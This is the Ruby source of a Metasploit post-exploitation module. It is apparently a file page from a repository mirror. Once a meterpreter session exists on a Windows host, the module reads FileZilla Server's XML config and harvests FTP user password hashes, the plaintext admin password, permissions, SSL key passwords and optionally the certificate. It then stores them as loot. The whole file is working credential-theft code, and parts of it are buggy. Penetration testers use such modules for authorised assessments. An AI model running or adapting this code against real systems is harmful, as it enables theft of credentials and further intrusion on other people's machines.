Files
metasploit-gs/modules/post/windows/gather/credentials/filezilla_server.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

367 lines
10 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Version' => '$Revision$',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
register_options(
[
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
], self.class)
end
def run
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported by this post module"
return
end
drive = session.fs.file.expand_path("%SystemDrive%")
case session.platform
when /win64/i
@progs = drive + '\\Program Files (x86)\\'
when /win32/i
@progs = drive + '\\Program Files\\'
end
filezilla = check_filezilla
if filezilla != nil
get_filezilla_creds(filezilla)
end
end
def check_filezilla
paths = []
path = @progs + "FileZilla Server\\"
print_status("Checking for Filezilla Server directory in: #{path}")
begin
session.fs.dir.entries(path)
rescue ::Exception => e
print_error(e.to_s)
return
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /FileZilla\sServer.*\.xml/i
paths << path + fdir
end
end
if !paths.empty?
print_status("Found FileZilla Server")
print_line("")
paths << path + 'FileZilla Server.xml'
paths << path + 'FileZilla Server Interface.xml'
return paths
end
return nil
end
def get_filezilla_creds(paths)
fs_xml = ""
fsi_xml = ""
credentials = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Server Credentials",
'Indent' => 1,
'Columns' =>
[
"User",
"Password",
"Host",
"Port",
"SSL"
])
permissions = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Server Permissions",
'Indent' => 1,
'Columns' =>
[
"Host",
"User",
"Dir",
"FileRead",
"FileDelete",
"FileAppend",
"DirCreate",
"DirDelete",
"DirList",
"DirSubdirs",
"Home",
"AutoCreate"
])
configuration = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Server Configuration",
'Indent' => 1,
'Columns' =>
[
"FTP Port",
"FTP Bind IP",
"Admin Port",
"Admin Bind IP",
"Admin Password",
"SSL",
"SSL Certfile",
"SSL Key Password"
])
file = session.fs.file.new(paths[1], "rb")
until file.eof?
fs_xml << file.read
end
file.close
# user credentials password is just an MD5 hash
# admin pass is just plain text. Priorities?
creds, perms, config = parse_server(fs_xml)
creds.each do |cred|
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
# report the goods!
report_auth_info(
:host => session.sock.peerhost,
:port => config['ftp_port'],
:sname => 'ftp',
:proto => 'tcp',
:user => cred['user'],
:pass => cred['password'],
:ptype => "MD5 hash",
:source_id => source_id,
:source_type => "exploit",
:target_host => config['ftp_bindip'],
:target_port => config['ftp_port']
)
end
perms.each do |perm|
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'],
perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate']]
end
vprint_status(" Collected the following configuration details:")
vprint_status(" FTP Port: %s" % config['ftp_port'])
vprint_status(" FTP Bind IP: %s" % config['ftp_bindip'])
vprint_status(" SSL: %s" % config['ssl'])
vprint_status(" Admin Port: %s" % config['admin_port'])
vprint_status(" Admin Bind IP: %s" % config['admin_bindip'])
vprint_status(" Admin Pass: %s" % config['admin_pass'])
vprint_line("")
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
# report the goods!
report_auth_info(
:host => session,
:port => config['admin_port'],
:sname => 'filezilla-admin',
:proto => 'tcp',
:user => 'admin',
:pass => config['admin_pass'],
:type => "password",
:source_id => source_id,
:source_type => "exploit",
:target_host => config['admin_bindip'],
:target_port => config['admin_port']
)
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
"filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")
print_status("Credentials saved in: #{p.to_s}")
p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv,
"filezilla_server_permissions.csv", "FileZilla FTP Server Permissions")
print_status("Permissions saved in: #{p.to_s}")
p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv,
"filezilla_server_configuration.csv", "FileZilla FTP Server Configuration")
print_status("Config saved in: #{p.to_s}")
end
def parse_server(data)
creds = []
perms = []
settings = {}
users = 0
passwords = 0
groups = []
perm = {}
doc = REXML::Document.new(data).root
items = doc.elements.to_a("//Settings//Item/")
settings['ftp_port'] = items[0].text rescue "<none>"
settings['admin_port'] = items[16].text rescue "<none>"
settings['admin_pass'] = items[17].text rescue "<none>"
settings['local_host'] = items[18].text rescue ""
settings['bindip'] = items[38].text rescue ""
settings['ssl'] = items[42].text rescue ""
if settings['local_host'] # empty means localhost only * is 0.0.0.0
settings['admin_bindip'] = settings['local_host']
else
settings['admin_bindip'] = "127.0.0.1"
end
if settings['admin_bindip'] == "*"
settings['admin_bindip'] = "0.0.0.0"
end
if settings['bindip']
settings['ftp_bindip'] = settings['bindip']
else
settings['ftp_bindip'] = "127.0.0.1"
end
# make the bindip a little easier to understand
if settings['ftp_bindip'] == "*"
settings['ftp_bindip'] = "0.0.0.0"
end
if settings['ssl'] == "1"
settings['ssl'] = "true"
else
if datastore['SSLCERT']
print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file")
end
settings['ssl'] = "false"
end
settings['ssl_certfile'] = items[45].text rescue "<none>"
if settings['ssl_certfile'] != "<none>" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks
sslfile = session.fs.file.new(settings['ssl_certfile'])
until sslfile.eof?
sslcert << sslfile.read
end
store_loot("filezilla.server.ssl.cert", "text/plain", session, sslfile,
settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" )
print_status("Looted SSL Certificate File")
end
if settings['ssl_certfile'].nil?
settings['ssl_certfile'] = "<none>"
end
settings['ssl_keypass'] = items[50].text rescue "<none>"
if settings['ssl_keypass'].nil?
settings['ssl_keypass'] = "<none>"
end
doc.elements['Users'].elements.each('User') do |user|
account = {}
account['user'] = user.attributes['Name'] rescue "<none>"
users += 1
opt = user.elements.to_a("//User//Option/")
account['password'] = opt[0].text rescue "<none>"
account['group'] = opt[1].text rescue "<none>"
passwords += 1
groups << account['group']
user.elements.to_a("//User//Permissions//Permission").each do |permission|
perm['user'] = account['user'] # give some context as to which user has these permissions
perm['dir'] = permission.attributes['Dir']
opt = permission.elements.to_a("//User//Permissions//Permission//Option")
perm['fileread'] = opt[0].text rescue "<unknown>"
perm['filewrite'] = opt[1].text rescue "<unknown>"
perm['filedelete'] = opt[2].text rescue "<unknown>"
perm['fileappend'] = opt[3].text rescue "<unknown>"
perm['dircreate'] = opt[4].text rescue "<unknown>"
perm['dirdelete'] = opt[5].text rescue "<unknown>"
perm['dirlist'] = opt[6].text rescue "<unknown>"
perm['dirsubdirs'] = opt[7].text rescue "<unknown>"
perm['autocreate'] = opt[9].text rescue "<unknown>"
if opt[8].text == "1"
perm['home'] = "true"
else
perm['home'] = "false"
end
perms << perm
end
user.elements.to_a("//User//IpFilter//Allowed").each do |allowed|
end
user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed|
end
account['host'] = settings['ftp_bindip']
perm['host'] = settings['ftp_bindip']
account['port'] = settings['ftp_port']
account['ssl'] = settings['ssl']
creds << account
vprint_status(" Collected the following credentials:")
vprint_status(" Username: %s" % account['user'])
vprint_status(" Password: %s" % account['password'])
vprint_status(" Group: %s" % account['group'])
vprint_line("")
end
groups = groups.uniq unless groups.uniq.nil?
if !datastore['VERBOSE']
print_status(" Collected the following credentials:")
print_status(" Usernames: %u" % users)
print_status(" Passwords: %u" % passwords)
print_status(" Groups: %u" % groups.length)
print_line("")
end
return [creds, perms, settings]
end
def got_root?
if session.sys.config.getuid =~ /SYSTEM/
return true
end
return false
end
def whoami
return session.fs.file.expand_path("%USERNAME%")
end
end